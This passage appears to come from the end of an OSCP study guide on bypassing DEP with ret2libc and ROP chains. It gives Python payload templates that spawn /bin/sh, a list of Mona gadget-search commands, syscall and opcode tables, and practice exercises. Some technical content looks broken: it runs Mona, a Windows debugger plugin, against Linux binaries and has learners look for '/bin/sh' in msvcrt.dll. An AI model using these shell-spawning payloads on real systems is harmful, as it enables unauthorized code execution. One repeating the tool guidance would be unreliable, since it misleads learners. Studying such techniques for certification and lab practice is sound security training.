# RET2LIBC - system("/bin/sh")
payload = b""
payload += b"A" * offset # Fill to EIP
payload += b"B" * 4 # Saved EBP
payload += p32(system_addr) # EIP → system()
payload += p32(0x41414141) # Fake return
payload += p32(binsh_addr) # Arg: "/bin/sh"
11.2 ROP Chain Template
# ROP Chain - execve("/bin/sh", NULL, NULL)
rop = b""
rop += p32(pop_eax_ret) + p32(0x0b) # eax = 11
rop += p32(pop_ebx_ret) + p32(binsh) # ebx = "/bin/sh"
rop += p32(pop_ecx_ret) + p32(0x0) # ecx = NULL
rop += p32(pop_edx_ret) + p32(0x0) # edx = NULL
rop += p32(int0x80_ret) # syscall
11.3 Essential Mona Commands
!mona modules ; Check DEP/ASLR status
!mona got ; Find GOT entries
!mona find -s "/bin/sh\x00" -m <module> ; Find /bin/sh
!mona rop -m <module> ; Find all gadgets
!mona find -s "\x58\xc3" -m <module> ; Find pop eax; ret
!mona jmp -r eax ; Find jmp eax
!mona stackpivot ; Find stack pivots
11.4 Common Syscall Numbers (Linux x86)
| Syscall | Number | Purpose |
|---|---|---|
sys_exit |
1 | Exit process |
sys_read |
3 | Read from fd |
sys_write |
4 | Write to fd |
sys_execve |
11 | Execute program |
sys_dup2 |
63 | Duplicate fd |
11.5 x86 Register OpCodes for POP
| Register | POP OpCode | POP+RET Sequence |
|---|---|---|
| EAX | 0x58 |
58 c3 |
| ECX | 0x59 |
59 c3 |
| EDX | 0x5A |
5a c3 |
| EBX | 0x5B |
5b c3 |
| ESP | 0x5C |
5c c3 |
| EBP | 0x5D |
5d c3 |
| ESI | 0x5E |
5e c3 |
| EDI | 0x5F |
5f c3 |
12. Practice Exercises
12.1 Exercise 1: RET2LIBC Basics
Scenario: 32-bit Linux binary, DEP enabled, ASLR disabled
Tasks:
- Use
!mona modulesto confirm DEP status - Find the address of
system()in libc - Find the address of
/bin/shstring - Build a RET2LIBC payload
- Test in debugger
12.2 Exercise 2: ROP Chain Construction
Scenario: 32-bit Linux binary, DEP enabled, system() not available
Tasks:
- Find
pop eax; ret,pop ebx; ret,pop ecx; ret,pop edx; retgadgets - Find
int 0x80; retgadget - Find
/bin/shstring - Build ROP chain for
execve("/bin/sh", NULL, NULL) - Test and debug
12.3 Exercise 3: Windows RET2LIBC
Scenario: 32-bit Windows binary, DEP enabled, ASLR disabled
Tasks:
- Find
system()inmsvcrt.dll - Find
"/bin/sh"or equivalent inmsvcrt.dll - Build RET2LIBC payload
- Handle Windows calling convention (different from Linux)
12.4 Exercise 4: Protection Analysis
Scenario: Unknown binary
Tasks:
- Run
!mona modulesand analyze output - Determine which protections are active
- Choose appropriate exploitation technique
- Justify your choice
Summary
RET2LIBC and ROP are essential techniques for bypassing DEP/NX protections:
- RET2LIBC redirects execution to existing library functions — simpler, more reliable
- ROP chains small code gadgets to build arbitrary logic — more complex, more powerful
- Mona is indispensable for finding gadgets, addresses, and analyzing protections
- On OSCP, RET2LIBC is more common than full ROP chains
- Always check protections first before choosing your approach
Master these techniques, and you’ll be prepared for any DEP-protected binary on the OSCP exam.
Last Updated: 2026-09-01 For OSCP Preparation — Fixing Exploits Module